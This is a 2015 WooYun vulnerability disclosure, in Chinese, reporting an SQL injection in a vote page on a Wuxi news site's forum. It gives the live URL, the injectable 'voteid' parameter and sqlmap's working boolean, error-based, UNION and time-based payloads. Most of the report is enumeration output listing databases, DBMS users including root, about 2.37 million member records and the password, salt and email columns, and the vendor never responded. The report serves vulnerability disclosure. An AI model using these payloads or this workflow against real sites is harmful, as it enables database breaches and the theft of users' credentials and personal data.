当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0145506

漏洞标题：某市新闻传媒网某分站注入漏洞可能泄露超过200万注册用户信息（账号、密码、邮箱、IP 等）

相关厂商：无锡新传媒网

漏洞作者： 路人甲

提交时间：2015-10-09 11:33

修复时间：2015-11-23 11:34

公开时间：2015-11-23 11:34

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-10-09： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-11-23： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

某市新闻传媒网某分站注入漏洞，泄露超过200万注册用户信息（账号、密码、邮箱、IP 等）

详细说明：

发现多达200万的论坛注册用户信息，泄露账号、密码、邮箱等。。。。。
有一些是微博或者是微信的账号。。。。
链接：http://bbs.wxrb.com/vote/index.php?a=list&voteid=4
Database: uc
+---------------------+---------+
| Table | Entries |
+---------------------+---------+
| uc_members | 2372748 |
| uc_memberfields | 2372740 |

sqlmap identified the following injection points with a total of 0 HTTP(s) 
reque
sts:
---
Place: POST
Parameter: voteid
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: a=list&voteid=4 AND 7693=7693
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: a=list&voteid=4 AND (SELECT 9815 FROM(SELECT COUNT(*),CONCAT
(0x3a6b
66683a,(SELECT (CASE WHEN (9815=9815) THEN 1 ELSE 0 
END)),0x3a6871793a,FLOOR(RAN
D(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
    Type: UNION query
    Title: MySQL UNION query (NULL) - 11 columns
    Payload: a=list&voteid=4 UNION ALL SELECT NULL,NULL,NULL,CONCAT
(0x3a6b66683a
,0x455a6478504b6c544373,0x3a6871793a),NULL,NULL,NULL,NULL,NULL,NULL,NULL#
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: a=list&voteid=4 AND SLEEP(5)
---
web application technology: Apache
back-end DBMS: MySQL 5.0
[10:59:18] [INFO] fetching database names
available databases [12]:
[*] ahu_vote
[*] bbs
[*] information_schema
[*] limesurvey
[*] mysql
[*] myt
[*] opinion
[*] uc
[*] ultrax
[*] vote
[*] wechat
[*] weibo
current user:    'ahu@%'
current user:    'ahu@%'
database management system users [12]:
[*] 'ahu'@'%'
[*] 'bbs'@'%'
[*] 'bbs_dyjjw'@'%'
[*] 'bbsread'@'%'
[*] 'blog_dyjj'@'%'
[*] 'cyask'@'%'
[*] 'myt'@'%'
[*] 'opinion'@'%'
[*] 'root'@'%'
[*] 'shop'@'%'
[*] 'weibo'@'%'
[*] 'weixin'@'%'


1.png


2.png


3.png


4.png


漏洞证明：

web application technology: Apache
back-end DBMS: MySQL 5.0
[10:59:18] [INFO] fetching database names
available databases [12]:
[*] ahu_vote
[*] bbs
[*] information_schema
[*] limesurvey
[*] mysql
[*] myt
[*] opinion
[*] uc
[*] ultrax
[*] vote
[*] wechat
[*] weibo
current user:    'ahu@%'
current user:    'ahu@%'
database management system users [12]:
[*] 'ahu'@'%'
[*] 'bbs'@'%'
[*] 'bbs_dyjjw'@'%'
[*] 'bbsread'@'%'
[*] 'blog_dyjj'@'%'
[*] 'cyask'@'%'
[*] 'myt'@'%'
[*] 'opinion'@'%'
[*] 'root'@'%'
[*] 'shop'@'%'
[*] 'weibo'@'%'
[*] 'weixin'@'%'
Database: uc
[32 tables]
+---------------------+
| uc_admins           |
| uc_applications     |
| uc_badwords         |
| uc_domains          |
| uc_failedlogins     |
| uc_feeds            |
| uc_friends          |
| uc_mailqueue        |
| uc_memberfields     |
| uc_members          |
| uc_mergemembers     |
| uc_newpm            |
| uc_notelist         |
| uc_pm_indexes       |
| uc_pm_lists         |
| uc_pm_members       |
| uc_pm_messages_0    |
| uc_pm_messages_1    |
| uc_pm_messages_2    |
| uc_pm_messages_3    |
| uc_pm_messages_4    |
| uc_pm_messages_5    |
| uc_pm_messages_6    |
| uc_pm_messages_7    |
| uc_pm_messages_8    |
| uc_pm_messages_9    |
| uc_pms              |
| uc_protectedmembers |
| uc_settings         |
| uc_sqlcache         |
| uc_tags             |
| uc_vars             |
+---------------------+
Database: uc
+---------------------+---------+
| Table               | Entries |
+---------------------+---------+
| uc_members          | 2372748 |
| uc_memberfields     | 2372740 |
| uc_pms              | 78350   |
| uc_friends          | 22557   |
| uc_newpm            | 18035   |
| uc_pm_indexes       | 6220    |
| uc_pm_members       | 5068    |
| uc_pm_lists         | 2708    |
| uc_notelist         | 1566    |
| uc_pm_messages_0    | 733     |
| uc_pm_messages_4    | 656     |
| uc_pm_messages_3    | 643     |
| uc_pm_messages_5    | 636     |
| uc_pm_messages_6    | 614     |
| uc_pm_messages_2    | 606     |
| uc_pm_messages_7    | 595     |
| uc_pm_messages_1    | 590     |
| uc_pm_messages_8    | 568     |
| uc_pm_messages_9    | 563     |
| uc_settings         | 29      |
| uc_vars             | 13      |
| uc_protectedmembers | 11      |
| uc_applications     | 8       |
| uc_tags             | 4       |
| uc_admins           | 2       |
| uc_failedlogins     | 1       |
| uc_feeds            | 1       |
+---------------------+---------+
Database: uc
Table: uc_members
[12 columns]
+---------------+-----------------------+
| Column        | Type                  |
+---------------+-----------------------+
| email         | char(32)              |
| lastloginip   | int(10)               |
| lastlogintime | int(10) unsigned      |
| myid          | char(30)              |
| myidkey       | char(16)              |
| password      | char(32)              |
| regdate       | int(10) unsigned      |
| regip         | char(15)              |
| salt          | char(6)               |
| secques       | char(8)               |
| uid           | mediumint(8) unsigned |
| username      | char(20)              |
+---------------+-----------------------+


4.png


5.png


6.png


7.png


8.png


修复方案：

过滤。。。。

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝